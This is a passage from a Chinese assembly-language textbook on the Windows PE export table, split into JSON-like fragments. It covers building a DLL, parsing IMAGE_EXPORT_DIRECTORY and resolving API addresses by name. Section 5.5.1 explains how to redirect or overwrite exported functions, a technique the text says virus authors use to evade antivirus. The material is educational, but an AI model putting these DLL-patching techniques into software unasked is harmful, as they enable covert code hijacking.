Windows装载器在进行PE装载时，会将导入表中登记的所有DLL一并装入，然后根据DLL的导出表中对导入函数的描述修正导入表的IAT值。通过导出表，DLL文件向调用它的程序或系统提供导出函数的名称、序号，以及入口地址等信息。 综上所述，可以得出结论，导出表的作用有两个： 一是可以通过导出表分析不认识的动态链接库文件所能提供的功能。 二是向调用者提供输出函数指令在模块中的起始地址。 下面分别进行讨论。 5.1.1 分析动态链接库功能 很多时候，我们都得不到某些动态链接库中输出函数的完整说明，这时候只能通过猜测，猜测的依据就是导出表中输出的函数的名字。以下是从一个安装程序中获取到的某动态链接库文件的导出表： 根据输出函数的英文提示不难看出，该动态链接库提供了程序的License验证功能（通过系列函数PSA_GetLicenseXXXXXX可以看出），而且程序具有限制并发连接数功能（通过函数PSA_GetNumberOfConnections可以看出）。对于猜测出功能的函数，可以尝试通过程序调用来测试函数的参数以及调用方法，从而为自己所用。这样不仅避免了重复开发，还大大提高了开发效率。 5.1.2 获得导出函数地址 5.1.2 获得导出函数地址 对一个动态链接库里导出的函数的调用，既可以通过函数名称来进行，也可以通过函数在导出表的索引来进行。Windows加载器将与进程相关的DLL加载到虚拟地址空间以后，会根据导入表中登记的与该动态链接库相关的由INT指向的名称或编号来遍历DLL所在虚拟地址空间，通过函数名或编号查找导出表结构，从而确定该导出函数在虚拟地址空间中的起始地址VA，并将该VA覆盖导入表的IAT相关项。 在覆盖IAT的过程中，导出表起到了参照和指引的作用。如果一个动态链接库没有定义导出表，其内部包含的所有函数都无法被其他程序透明地调用。这里所说的透明，是指公开调用。当然，只要你掌握了动态链接库的内部编码，即使没有导出表，你也可以随意地引用里面的函数，哪怕这些函数是私有的。5.5.2节将对私有函数的导出方法进行阐述。"},
    {"text": "5.2 构造含导出表的PE文件 5.2 构造含导出表的PE文件 本节将编写并创建一个动态链接库文件，该文件输出的函数可以被其他的基于Windows GUI的程序调用，用来增加程序窗口显示或退出时的动态效果。"},
    {"text": "本节的例子是本书第一个以DLL为扩展名的PE文件，它提供了两种窗口显示或退出时可以使用的特效： 逐级缩放 渐入渐出 使用一个DLL文件需要经过以下四步： 步骤1 编写DLL文件的源代码。"},
    {"text": "4个公有函数分别代表了4种显示窗口的动态效果： AnimateOpen（窗口放大进入） AnimateClose（窗口缩小退出） FadeInOpen（窗口淡入） FadeOutClose（窗口淡出） 入口函数名为DllEntry，由于我们没有初始化代码，所以只是简单地返回了TRUE。"},
    {"text": "5.2.2 编写def文件 5.2.2 编写def文件 为了能让系统识别哪些是私有函数，哪些是导出函数，还需要在源代码外另外附加一个文件，在文件中列出要导出的函数的名字。这个文件就是def文件。链接器会根据这个def文件的内容在导出表中加入由EXPORTS指定的函数名。以下是编写def文件的过程：在记事本中输入如下内容，并保存为文件\"winResult.def\"。 EXPORTS AnimateOpen AnimateClose FadeInOpen FadeOutClose 5.2.3 编译和链接 5.2.3 编译和链接 编译的方法和前面其他章节的编译方法没有区别，链接时需要额外增加两个链接参数，命令如下： D:\\masm32\\source\\chapter6＞ml -c -coff winResult.asm D:\\masm32\\source\\chapter6＞link-DLL-subsystem:windows -Def:winResult.def winResult.obj 新增加的两个链接参数分别是\"-DLL\"和\"-Def\"。前者表示生成的最终文件是一个动态链接库，扩展名为dll；后者表示在生成的链接库的导出表中，加入该参数指定的def文件中的函数。 链接后生成以下两个相关文件： winResult.dll是动态链接库文件。该文件可以共享给使用其他高级语言如VC++、Delphi、VB等的开发者使用。 winResult.lib是汇编语言环境下的库文件。使用winResult.dll的汇编程序必须使用该库文件和下面要介绍的inc包含文件。 5.2.4 编写头文件 5.2.4 编写头文件 包含文件扩展名为\".inc\"，该文件类似于C语言的\".h\"头文件，所以又称为头文件。该文件中包含了动态链接库中导出函数的声明。将如下内容输入记事本程序，并保存为\"winResult.inc\"。 AnimateOpen proto :dword AnimateClose proto :dword FadeInOpen proto :dword FadeOutClose proto :dword 有了动态链接库、相关的lib文件和头文件，就可以在任何一个程序的代码中使用这个DLL里导出的函数了。"},
    {"text": "5.2.5 使用导出函数 5.2.5 使用导出函数 接下来使用刚生成的三个文件：winResult.dll、winResult.lib和winResult.inc来编写一个渐入式窗口显示程序，详细代码见清单5-2。 代码清单5-2 具备动态显示效果的窗口程序（chapter5\\FirstWindow.asm） 1 ;------------------------ 2 ;简单窗口程序 3 ;具有窗口的大部分基本特性，其中显示和退出使用了渐入和渐出效果 4 ;该程序主要演示自己制作的DLL的函数调用 5 ;戚利 6 ;2010.6.27 7 ;------------------------ 8 .386 9 .model flat,stdcall 10 option casemap:none 11 12 include windows.inc 13 include gdi32.inc 14 includelib gdi32.lib 15 include user32.inc 16 includelib user32.lib 17 include kernel32.inc 18 includelib kernel32.lib 19 include winResult.inc ;与其他动态链接库的引用方式一样 20 includelib winResult.lib 21 22 ;数据段 23 .data ? 24 hInstance dd ? 25 hWinMain dd ? 26 ;常量定义 27 .const 28 szClassName db 'MyClass',0 29 szCaptionMain db '窗口特效演示',0 30 szText db '你好，认识我吗？^_^',0 31 32 ;代码段 33 .code 34 ;------------------ 35 ;窗口消息处理子程序 36 ;------------------ 37 _ProcWinMain proc uses ebx edi esi,hWnd,uMsg,wParam,lParam 38 local @stPs:PAINTSTRUCT 39 local @stRect:RECT 40 local @hDc 41 42 mov eax,uMsg 43 44 .if eax == WM_PAINT 45 invoke BeginPaint,hWnd,addr @stPs 46 mov @hDc,eax 47 invoke GetClientRect,hWnd,addr @stRect 48 invoke DrawText,@hDc,addr szText,-1,\\ 49 addr @stRect,\\ 50 DT_SINGLELINE or DT_CENTER or DT_VCENTER 51 invoke EndPaint,hWnd,addr @stPs 52 .elseif eax == WM_CLOSE ;关闭窗口 53 invoke FadeOutClose,hWinMain 54 invoke DestroyWindow,hWinMain 55 invoke PostQuitMessage,NULL 56 .else 57 invoke DefWindowProc,hWnd,uMsg,wParam,lParam 58 ret 59 .endif 60 61 xor eax,eax 62 ret 63 _ProcWinMain endp 64 65 ;---------------------- 66 ;主窗口程序 67 ;---------------------- 68 _WinMain proc 69 local @stWndClass:WNDCLASSEX 70 local @stMsg:MSG 71 72 invoke GetModuleHandle,NULL 73 mov hInstance,eax 74 invoke RtlZeroMemory,addr @stWndClass,sizeof @stWndClass 75 76 ;注册窗口类 77 invoke LoadCursor,0,IDC_ARROW 78 mov @stWndClass.hCursor,eax 79 push hInstance 80 pop @stWndClass.hInstance 81 mov @stWndClass.cbSize,sizeof WNDCLASSEX 82 mov @stWndClass.style,CS_HREDRAW or CS_VREDRAW 83 mov @stWndClass.lpfnWndProc,offset _ProcWinMain 84 mov @stWndClass.hbrBackground,COLOR_WINDOW+1 85 mov @stWndClass.lpszClassName,offset szClassName 86 invoke RegisterClassEx,addr @stWndClass 87 88 ;建立并显示窗口 89 invoke CreateWindowEx,WS_EX_CLIENTEDGE,\\ 90 offset szClassName,offset szCaptionMain,\\ 91 WS_OVERLAPPEDWINDOW,\\ 92 100,100,600,400,\\ 93 NULL,NULL,hInstance,NULL 94 mov hWinMain,eax 95 invoke FadeInOpen,hWinMain 96 ;invoke ShowWindow,hWinMain,SW_SHOWNORMAL 97 invoke UpdateWindow,hWinMain ;更新客户区，即发送WM_PAINT消息 98 99 100 ;消息循环 101 .while TRUE 102 invoke GetMessage,addr @stMsg,NULL,0,0 103 .break.if eax == 0 104 invoke TranslateMessage,addr @stMsg 105 invoke DispatchMessage,addr @stMsg 106 .endw 107 ret 108 _WinMain endp 109 110 start: 111 call _WinMain 112 invoke ExitProcess,NULL 113 end start 与引入其他动态链接库的方法一样，在代码行19引入winResult.lib，在行20引入头文件winResult.inc。创建窗口以后，显示时不再使用如下所示的正常的显示代码： invoke ShowWindow,hWinMain,SW_SHOWNORMAL 而是使用了具有动画特效的代码（如下所示），该代码由动态链接库winResult.dll输出。 invoke FadeInOpen,hWinMain 可以看出，调用公用函数的方法和调用其他动态链接库的方法（使用常规方法编译链接程序，生成FirstWindow.exe，然后运行它以便查看窗口显示的动画效果）是完全一样的。 接下来简单分析到目前为止接触的两种不同类型的PE文件： FirstWindow.exe（EXE可执行文件） winResult.dll（DLL动态链接库） 使用PEInfo小工具查看两者结构，通过比较可以看出，两种不同类型的PE文件在内容上存在很大差异，如头文件中的装载基地址、入口地址、文件属性均不相同。EXE文件的PE格式中不存在重定位表项，也没有导出表；而DLL文件的PE格式中这两项都存在。"},
    {"text": "5.3 导出表数据结构 5.3 导出表数据结构 本节将描述PE文件中的导出表及其数据组织方式。内容包括： 在PE文件里定位导出表 导出表的数据组织结构 导出表实例 下面分别来介绍。 5.3.1 导出表定位 导出表数据为数据目录中注册的数据类型之一，其描述信息处于数据目录的第1个目录项中。使用PEDump小工具获取chapter5\\winResult.dll的数据目录内容如下： 加黑部分为导出表数据目录项信息。通过以上字节码可以获得与导出表有关的两条信息： 导出表所在地址RVA=0x000002140 导出表数据大小=0000008fh 以下是使用小工具PEInfo获取的该文件所有的节信息： 根据RVA与FOA的换算关系，可以得到： 导出表数据所在文件的偏移地址为：0x00000940。 5.3.2 导出目录IMAGE_EXPORT_DIRECTORY 5.3.2 导出目录IMAGE_EXPORT_DIRECTORY 导出数据的第一个结构是IMAGE_EXPORT_DIRECTORY。该结构详细定义如下： 导入表的IMAGE_IMPORT_DESCRIPTOR个数与调用的动态链接库个数相等，而导出表的IMAGE_EXPORT_DIRECTORY只有一个。各字段解释如下： 64.IMAGE_EXPORT_DIRECTORY.nName +000ch，双字。该字段指示的地址指向了一个以“\\0”结尾的字符串，字符串记录了导出表所在的文件的最初文件名。 65.IMAGE_EXPORT_DIRECTORY.NumberOfFunctions +0014h，双字。该字段定义了文件中导出函数的总个数。 66.IMAGE_EXPORT_DIRECTORY.NumberOfNames＜/h5＞ +0018h，双字。在导出表中，有些函数是定义名字的，有些是没有定义名字的。该字段记录了所有定义名字函数的个数。如果这个值是0，则表示所有的函数都没有定义名字。NumberOfNames和NumberOfFunctions的关系是前者小于等于后者。 67.IMAGE_EXPORT_DIRECTORY.AddressOfFunctions +001ch，双字。该指针指向了全部导出函数的入口地址的起始。从入口地址开始为双字数组，数组的个数由字段IMAGE_EXPORT_DIRECTORY.NumberOfFunctions决定。导出函数的每一个地址按函数的编号顺序依次往后排开。在内存中，我们可以通过函数编号来定位某个函数的地址。大致代码如下： mov eax,[esi].AddressOfFunctions ;esi指向导出表结构 IMAGE_EXPORT_DIRECTORY的起始地址 mov ebx,num ;假设ebx为函数编号 sub ebx,[esi].nBase add eax,[num*4] mov eax,[eax] ;到这里已获取函数的虚拟地址RVA，加上模块实际装入地址 ;就是在虚拟地址空间里真实的地址VA 68.IMAGE_EXPORT_DIRECTORY.nBase +0010h，双字。导出函数编号的起始值。DLL中的第一个导出函数并不是从0开始的，某导出函数的编号等于从AddressOfFunctions开始的顺序号加上这个值，大致示意图如图5-1所示。 图 5-1 nBase字段决定导出函数编号 如图所示，Fun1的函数编号为nBase+0=200h，Fun2的函数编号为nBase+1=201h，以此类推。 69.IMAGE_EXPORT_DIRECTORY.AddressOfNames +0020h，双字。该值为一个指针。该指针指向的位置是一连串的双字值，这些双字值均指向了对应的定义了函数名的函数的字符串地址。这一连串的双字个数为NumberOf Names。 70.IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals +0024h，双字。该值也是一个指针，与AddressOfNames是一一对应关系（注意，是一一对应），所不同的是，AddressOfNames指向的是字符串的指针数组，而AddressOfNameOrdinals则指向了该函数在AddressOfFunctions中的索引值。 注意 索引值是一个字，而非双字。该值与函数编号是两个不同的概念，两者之间的关系为： 索引值=编号-nBase 以上所述，字段之间的关系可以用图5-2表示。 图 5-2 PE导出表结构 如图所示，AddressOfNames中的函数是从Function2开始的，也就是说，这里假设Function1只提供编号访问；其nBase为200h，所以对应的AddressOfNameOrdinals是0001h，但最终函数Function1的编号为：索引值+nBase的值，即0201h。 提示 在图4-5中最后指向的结构\"Hint/Name\"中的Hint值是AddressOfFunctions的索引值，并非函数编号。"},
    {"text": "5.3.3 导出表实例分析 5.3.3 导出表实例分析 下面以动态链接库winResult.dll为例，分析该PE文件的导出表结构及其数据组织。 使用小工具PEDump获取winResult.dll的导出表字节码内容如下（从文件地址偏移0x00000940开始）： 其中，主要字段所对应的字节码解释如下： ＞＞90 21 00 00 对应IMAGE_EXPORT_DIRECTORY.nName字段，指向文件偏移0x00000990。该处的值为字符串\"winResult.dll\"，是动态链接库的最初的名字。 ＞＞01 00 00 00 对应IMAGE_EXPORT_DIRECTORY.nBase字段，表示起始编号为1。 ＞＞04 00 00 00 对应IMAGE_EXPORT_DIRECTORY.NumberOfFunctions字段，表示共有4个导出函数。 ＞＞04 00 00 00 对应IMAGE_EXPORT_DIRECTORY.NumberOfNames字段，表示4个导出函数均为按照名称导出。 ＞＞68 21 00 00 对应IMAGE_EXPORT_DIRECTORY.AddressOfFunctions字段。从该位置取出连续4个地址（个数由IMAGE_EXPORT_DIRECTORY.NumberOfFunctions字段决定），这些地址分别对应4个函数的RVA。AddressOfFunctions的值见图5-3。 图 5-3 AddressOfFunctions数组 ＞＞78 21 00 00 对应IMAGE_EXPORT_DIRECTORY.AddressOfNames字段。从该位置取出的连续4个地址依次为： ＞＞88 21 00 00 对应IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals字段。从该位置取出的连续4个单字索引依次为： 这些索引的值存在于字段IMAGE_EXPORT_DIRECTORY.AddressOfFunctions所指向的函数地址列表中。最终4个函数的编号将分别是此处的索引值加上nBase的值，即0001、0002、0003和0004。函数名对应的索引值可以在调用了该动态链接库的程序FirstWindow.exe的导入表数据中查找到（以下加黑部分）： 5.4 导出表编程 5.4 导出表编程 本节讨论与导出表有关的编程，包括获取导出表中导出函数地址的编程，以及遍历导出表信息的编程两部分。 如前所述，通过导出表可以获取相关函数的地址。函数可以通过索引值定位，也可以通过函数名定位。通过编程查找函数地址有两个不同方法，分别是： 根据编号查找函数地址 根据名字查找函数地址 下面分别介绍这两种方法。 5.4.1 根据编号查找函数地址 要通过编号查找函数地址，其步骤如下： 步骤1 定位到PE头。 步骤2 从PE文件头中找到数据目录表，表项的第一个双字值是导出表的起始RVA。 步骤3 从导出表的nBase字段得到起始序号。 步骤4 函数编号减去起始序号得到的是函数在AddressOfFunctions中的索引号。 步骤5 通过查询AddressOfFunctions指定索引位置的值，找到虚拟地址。 步骤6 将虚拟地址加上该动态链接库在被导入到地址空间后的基地址，即为函数的真实入口地址。 不建议使用编号查找函数地址。因为有很多的动态链接库中标识的编号与对应的函数并不一致，通过这种方法找到的函数地址往往是错误的。"},
    {"text": "5.4.2 根据名字查找函数地址 5.4.2 根据名字查找函数地址 要根据函数名字从导出表结构中查找函数的地址，步骤如下： 步骤1 定位到PE头。 步骤2 从PE文件头中找到数据目录表，表项的第一个双字值是导出表的起始RVA。 步骤3 从导出表中获取NumberOfNames字段的值，以便构造一个循环，根据此值确定循环的次数。 步骤4 从AddressOfNames字段指向的函数名称数组的第一项开始，与给定的函数名字进行匹配；如果匹配成功，则记录从AddressOfNames开始的索引号。 步骤5 通过索引号再去检索AddressOfNameOrdinals数组，从同样索引的位置找到函数的地址索引。 步骤6 通过查询AddressOfFunctions指定函数地址索引位置的值，找到虚拟地址。 步骤7 将虚拟地址加上该动态链接库在被导入到地址空间的基地址，即为函数的真实入口地址。 其中通过函数名获取函数调用地址的编码见代码清单5-3。 代码清单5-3 获取指定字符串的API函数的调用地址的函数_getApi（chapter5\\peinfo.asm） 1 ;------------------------------- 2 ;获取指定字符串的API函数的调用地址 3 ;入口参数：_hModule为动态链接库的基址，_lpApi指向函数名 4 ;出口参数：eax为函数在虚拟地址空间中的真实地址 5 ;------------------------------- 6 _getApi proc _hModule,_lpApi 7 local @ret 8 local @dwLen 9 10 pushad 11 mov @ret,0 12 ;计算API字符串的长度，含最后的0 13 mov edi,_lpApi 14 mov ecx,-1 15 xor al,al 16 cld 17 repnz scasb 18 mov ecx,edi 19 sub ecx,_lpApi 20 mov @dwLen,ecx 21 22 ;从PE文件头的数据目录获取导出表地址 23 mov esi,_hModule 24 add esi,[esi+3ch] 25 assume esi:ptr IMAGE_NT_HEADERS 26 mov esi,[esi].OptionalHeader.DataDirectory.VirtualAddress 27 add esi,_hModule 28 assume esi:ptr IMAGE_EXPORT_DIRECTORY 29 30 ;查找符合名称的导出函数名 31 mov ebx,[esi].AddressOfNames 32 add ebx,_hModule 33 xor edx,edx 34 .repeat 35 push esi 36 mov edi,[ebx] 37 add edi,_hModule 38 mov esi,_lpApi 39 mov ecx,@dwLen 40 repz cmpsb 41 .if ZERO ? 42 pop esi 43 jmp @F 44 .endif 45 pop esi 46 add ebx,4 47 inc edx 48 .until edx＞=[esi].NumberOfNames 49 jmp _ret 50 @@: 51 ;通过API名称索引获取序号索引，再获取地址索引 52 sub ebx,[esi].AddressOfNames 53 sub ebx,_hModule 54 shr ebx,1 ;除以2 55 add ebx,[esi].AddressOfNameOrdinals 56 add ebx,_hModule 57 movzx eax,word ptr [ebx] 58 shl eax,2 ;乘以4 59 add eax,[esi].AddressOfFunctions 60 add eax,_hModule 61 62 ;从地址表得到导出函数的地址 63 mov eax,[eax] 64 add eax,_hModule ;加上模块的基地址 65 mov @ret,eax 66 67 _ret: 68 assume esi:nothing 69 popad 70 mov eax,@ret 71 ret 72 _getApi endp 23～24行对应步骤当中的步骤1，定位PE头。 34～49行是一个循环，结束条件为找到对应的函数地址或者函数个数已经达到NumberOfNames字段所标识的值。如何判断函数已经找到了呢？方法是通过与AddressOfNames所列的每个函数名进行比对，如果字符串相等，则表示找到，否则继续下一次循环。如果找到，则跳出循环，转到行50处继续执行。 如果函数名匹配成功，表示找到了对应的函数。则记录AddressOfNames的索引，即步骤4，对应代码中的51～54行。 代码中的55～61行实现了步骤5的操作。步骤6、7则对应63～64行。"},
    {"text": "5.4.3 遍历导出表 5.4.3 遍历导出表 遍历导出表的编程是以第4章的PEInfo.asm程序为模板开始的。在函数_openFile中加入以下代码（加黑部分）： ;到此为止，该文件的验证已经完成。为PE结构文件 ;接下来分析文件映射到内存中的数据，并显示主要参数 invoke _getMainInfo,@lpMemory,esi,@dwFileSize ;显示导入表 invoke _getImportInfo,@lpMemory,esi,@dwFileSize ;显示导出表 invoke _getExportInfo,@lpMemory,esi,@dwFileSize 然后编写函数_getExportInfo，如代码清单5-4所示。 代码清单5-4 遍历导出表的函数_getExportInfo（chapter5\\peinfo.asm） 1 ;------------------------------- 2 ;获取PE文件的导出表 3 ;------------------------------- 4 _getExportInfo proc _lpFile,_lpPeHead,_dwSize 5 local @szBuffer [1024]:byte 6 local @szSectionName [16]:byte 7 local @lpAddressOfNames,@dwIndex,@lpAddressOfNameOrdinals 8 9 pushad 10 mov esi,_lpPeHead 11 assume esi:ptr IMAGE_NT_HEADERS 12 mov eax,[esi].OptionalHeader.DataDirectory [0].VirtualAddress 13 .if!eax 14 invoke _appendInfo,addr szErrNoExport 15 jmp _Ret 16 .endif 17 invoke _RVAToOffset,_lpFile,eax 18 add eax,_lpFile 19 mov edi,eax ;计算导出表所在文件偏移位置 20 assume edi:ptr IMAGE_EXPORT_DIRECTORY 21 invoke _RVAToOffset,_lpFile,[edi].nName 22 add eax,_lpFile 23 mov ecx,eax 24 invoke _getRVASectionName,_lpFile,[edi].nName 25 invoke wsprintf,addr @szBuffer,addr szMsgExport,\\ 26 eax,ecx,[edi].nBase,[edi].NumberOfFunctions,\\ 27 [edi].NumberOfNames,[edi].AddressOfFunctions,\\ 28 [edi].AddressOfNames,[edi].AddressOfNameOrdinals 29 invoke _appendInfo,addr @szBuffer 30 31 invoke _RVAToOffset,_lpFile,[edi].AddressOfNames 32 add eax,_lpFile 33 mov @lpAddressOfNames,eax 34 invoke _RVAToOffset,_lpFile,[edi].AddressOfNameOrdinals 35 add eax,_lpFile 36 mov @lpAddressOfNameOrdinals,eax 37 invoke _RVAToOffset,_lpFile,[edi].AddressOfFunctions 38 add eax,_lpFile 39 mov esi,eax ;函数的地址表 40 41 mov ecx,[edi].NumberOfFunctions 42 mov @dwIndex,0 43 @@: 44 pushad 45 mov eax,@dwIndex 46 push edi 47 mov ecx,[edi].NumberOfNames 48 cld 49 mov edi,@lpAddressOfNameOrdinals 50 repnz scasw 51 .if ZERO ? ;找到函数名称 52 sub edi,@lpAddressOfNameOrdinals 53 sub edi,2 54 shl edi,1 55 add edi,@lpAddressOfNames 56 invoke _RVAToOffset,_lpFile,dword ptr [edi] 57 add eax,_lpFile 58 .else 59 mov eax,offset szExportByOrd 60 .endif 61 pop edi 62 ;序号在ecx中 63 mov ecx,@dwIndex 64 add ecx,[edi].nBase 65 invoke wsprintf,addr @szBuffer,addr szMsg4,\\ 66 ecx,dword ptr [esi],eax 67 invoke _appendInfo,addr @szBuffer 68 popad 69 add esi,4 70 inc @dwIndex 71 loop @B 72 _Ret: 73 assume esi:nothing 74 assume edi:nothing 75 popad 76 ret 77 _getExportInfo endp 行12～16通过检索数据目录表的第1项（用[esi].OptionalHeader.DataDirectory[0]来表示），获取导出表的VirtualAddress。如果该值为0，意味着该PE文件没有导出表，则显示没有导出表的提示信息并退出，否则继续。 行17～30部分，首先将获取的导出表的VirtualAddress的RVA值转换为FOA，然后显示该地址所处的节的名称，并显示结构IMAGE_EXPORT_DIRECTORY的部分字段的值。 行43～71为一个循环，该循环完成了显示该PE文件中所有导出函数相关信息的功能。这些信息包括导出序号、函数的虚拟地址和导出函数的名称。变量@dwIndex跟随循环次数加1递增，同时该变量也是所有函数的索引值。通过查找AddressOfNameOrdinals数组获得该索引是否在数组中存在，以确定对应索引的函数是否是基于名称访问的。如果是，则执行第52～57行的代码；如果不是，表示该函数是基于索引值访问的，则执行第59行的代码。 以下内容是使用PEInfo小工具分析chapter5\\winResult.dll文件输出的与导出表有关的信息： 显示信息分三部分：导出表所处的节、导出表结构IMAGE_EXPORT_DIRECTORY的主要字段的值和导出函数的相关信息（含导出序号、虚拟地址和导出函数名称）。 导出表的结构就分析到这里，下面来看导出表的常见应用。"},
    {"text": "5.5 导出表的应用 5.5 导出表的应用 导出表常见的应用主要包括对导出表函数的覆盖，以及对动态链接库内部私有函数的导出等。通过对导出表函数进行覆盖，可以更改代码流程或代码功能，为应用程序实施补丁；通过对动态链接库内部私有函数的导出，可以更充分地利用已有的代码，减轻二次开发的工作量。 5.5.1 导出函数覆盖 导出表编程中常见的技术是，不需要修改用户程序，便能将用户程序中调用的动态链接库函数转向或者实施代码覆盖，实现用户程序的调用转移。这种技术通常用在病毒程序的开发中，因为用户程序没有发生改变，所以杀毒软件在对用户程序的防护过程中，针对这种渗透是无效的。下面介绍两种常见的导出函数覆盖技术： 修改导出结构中的函数地址 覆盖函数地址部分的指令代码 1.修改导出结构中的函数地址 以winResult.dll为例，使用FlexHex将AddressOfFunctions索引1和2的地址（分别对应函数AnimateOpen和FadeInOpen）交换位置。更改以后的字节码如下： 如上所示，无需修改应用程序FirstWindow.exe，仅通过将函数调用RVA地址0x00001282和0x00001022交换位置，即可实现导出函数的覆盖。直接测试，发现显示窗口的动画效果发生了变化。 需要注意的是，在使用导出函数地址覆盖技术的时候，首先要保证所涉及的两个函数参数入口要一致，否则调用完成后栈不平衡，这会导致应用程序调用失败；其次，要求用户对两个函数的内部实现要有充分的了解，使得地址转向后，能够保证应用程序在功能上可以全面兼容并运行良好。 注意 该部分测试文件在随书文件的目录chapter5\\a中，winResult.dll是被修改了AddressOfFunctions地址后的动态链接库。在实际的操作中并不赞成大家使用该技术。 2.覆盖函数地址部分的指令代码 第二种常见的覆盖技术，是将AddressOfFunctions指向的地址空间指令字节码实施覆盖。这种技术又衍生出两种： 暴力覆盖，即将所有的代码全部替换为新代码。新代码可能含有原来代码的全部功能，也可能不包含原有代码功能。 完美覆盖，通过构造指令，实施新代码与原代码的共存和无遗漏运行。 因为完美覆盖涉及代码的重定位，相对复杂一些，这里以暴力覆盖为例。相关文件在随书文件的chapter5\\b目录中，winResult.dll是被覆盖了函数FadeInOpen后的动态链接库。 打开winResult.dll文件查看字节码，可以发现函数FadeInOpen定义部分（文件中起始偏移0x0682）被修改成如下指令序列： 为方便阅读，以上按照指令功能对字节码作了加黑处理。第一部分黑体保存原始栈基地址，第二部分黑体代码是维持栈平衡的返回指令。所有字节码对应的反汇编指令为： 因为函数FadeInOpen的代码被全部覆盖，所以运行FirstWindow只会弹出提示对话框，内容显示\"user32.dll\"。显示的字符串是借用了winResult.asm的数据段中定义的函数SetLayeredWindowAttributes所在动态链接库的名称。 从反汇编指令可以看出，调用函数user32.MessageBoxA时使用了硬编码，即将该函数在虚拟地址空间分配的VA直接写入了代码段，不通过导入表直接跳转到函数代码处执行，上面反汇编代码加黑部分即为地址字节码（在这里OD错误地将它识别成了指令序列）。使用硬编码最大的好处是引入动态链接库的函数时不需要修改导入表。因为FirstWindow引入的动态链接库就这一个，不存在基地址被占用的问题，所以，与重定位有关的信息在此例中不需要进行修改。"},
    {"text": "5.5.2 导出私有函数 5.5.2 导出私有函数 在某些场合下，DLL中的私有函数还是很有用的。也许是出于保密考虑，或者其他原因，DLL的开发者将一些比较重要的函数设置为内部私有函数，并不在导出表中声明。当程序被二次开发时，开发者却需要这些函数，这时候就需要开发者自己将这些被定义为私有的函数添加到导出表中。 在本章的实例中，程序winResult.dll一共导出了4个公有函数；源代码中的TopXY函数被声明为私有函数，并未导出，所以在使用PEInfo分析时看不到该函数。下面就以这个函数为例，介绍一下导出私有函数需要做哪些工作。 首先，将最原始的导出表整体搬迁到一个空闲空间中，这里选择从文件偏移0x0940处搬到0x0a50处。以下是添加私有函数到导出表后的两处地址对应的字节码： 现在从几个方面来分析添加了私有函数的导出表与原有导出表的区别： 1）长度从8Fh变成了9Fh。增加的部分包含： 函数名：'TopXY\\0'共6个字节。 函数的RVA：0x0000100c，共4个字节。 函数名称所在地址：0x000032e9，共4个字节。 2）函数个数由原来的4个变成5个（见字节码的下划线部分）。 3）修正其他因搬迁和增加而变动的地址。因为上面已经同时列出了前后的字节码，在这里就不再详细描述，大家可以比照两者不同和导出表结构自己进行分析。 4）数据目录项。因为导出表位置和数据大小发生了变化，所以PE文件头部的数据目录项中需要进行如下修正： 位置由原来的0x2140变成0x3250。 大小由原来的8Fh变成9Fh。 这样就为导出表增加了函数TopXY的导出信息。使用小工具PEInfo查看导出表，输出信息如下： 如上所示，加黑部分明确提示我们，导出函数已经由最初的4个变成了5个；在导出函数的描述部分也显示了新函数的导出序号、函数所在的RVA，以及新导出函数的名称TopXY，这意味着将私有函数转换为导出函数是成功的。你也可以新建一个测试程序对刚导出的函数进行测试，测试代码在随书文件列表chapter5\\c\\priFun.asm中。 5.6 小结 5.6 小结 本章重点介绍了PE结构中的导出数据部分。通过对导出表的学习，读者能够了解导出表在PE中的作用，并从底层了解Windows加载程序修正导入表IAT的过程；同时，本章还对导出表的导出函数覆盖技术及私有函数导出做了简单的介绍。"},
    {"text": "6.1 栈 为了更好地理解代码中调用函数时相关数据的流动过程，了解PE在运行时对临时变量的处理方法，我们先重新认识一下栈。 相信大家已经非常熟悉了，栈是在程序运行时，操作系统为调度程序之间相互调用关系或临时存放操作数而设置的一种数据结构。"},
    {"text": "栈遵循的规则是“先进后出”。 可以简单地把栈理解为一个有底的容器，先放进去的东西自然被压在最底下，那么后放进去的东西一定是先被取出。"},
    {"text": "以下场合会用到栈： 保存临时的值 保存程序现场 传递函数参数 存放过程中的局部变量 下面分别介绍。 1.保存临时的值 栈可用于在程序中暂时保存寄存器的值，完成某些操作后再恢复，例如以下代码： push eax ...... ;进行某项操作 pop eax 如上所示，当进行某项操作时用到寄存器eax，导致eax的值发生变化，操作完后还想用eax的原始值做其他处理，这时候就可以通过栈实现对寄存器的值的临时保存。"},
    {"text": "以上指令等价于： mov edx,eax 注意 在对栈进行操作时，一定要维系栈的平衡，即压入多少字节最后就要弹出多少字节，否则会导致程序运行出现错误。"},
    {"text": "如下指令： CALL_subPrg 当指令执行时，会将紧跟在CALL指令后面的下一条指令的地址压入栈，以便于程序在调用完以后，能正确返回到主程序继续运行。"},
    {"text": "对于32位系统而言，单独一个寄存器的长度就能访问到完整的4GB虚拟内存空间，所以调用call指令时，不再需要往栈里压入cs寄存器，当然也就没有长短调用之说。"},
    {"text": "在实模式下，一个数据所在的地址是这样计算出来的： 假设我们在SS中存入0x1000，SP中存入0xFFFF，那么： SS:SP=0x1000*0x10+0xFFFF=0x1FFFF 这就是众所周知的“左移4位加偏移”。"},
    {"text": "段寄存器还存在，但意义已经发生了变化：段寄存器被称为段选择子，其所标识的值不再与直接的地址有关系，它指向了保护模式中“全局/局部描述表”的某个位置，在这张表中记录了真正的段地址。"},
    {"text": "段选择子是一个2字节的数，共16位，其中最低2位表示RPL，第3位表示查哪张表，是利用GDT（全局描述符表）还是LDT（局部描述符表），剩下的高13位给出了所需的描述符在描述符表中的地址（注意：13位正好足够寻址8KB项）。"},
    {"text": "以下是Masm32中调用对话框显示信息的汇编指令： invoke MessageBox,NULL,offset szText,offset szCaption,MB_OK 经过汇编以后生成的代码如下： 可以看到，调用API函数的指令invoke实际上对栈进行了以下两步的设置： 首先，将参数按照从右往左的顺序压栈（不同的程序设计语言其通过栈传递参数的顺序并不相同）；"},
    {"text": "为了平衡栈，需要调用者使用如下语句将传入的参数一一弹出： add esp,0010h ;4个整型 4.存放过程中的局部变量 进入一个过程以后，会定义很多局部变量，而局部变量的存放处也是栈。"},
    {"text": "当过程结束以后，局部变量将从栈中删除，恢复到进入过程的最初状态。 也就是说，局部变量在过程结束以后就自动被释放了，原因是CPU调整了栈的栈顶指针esp。"},
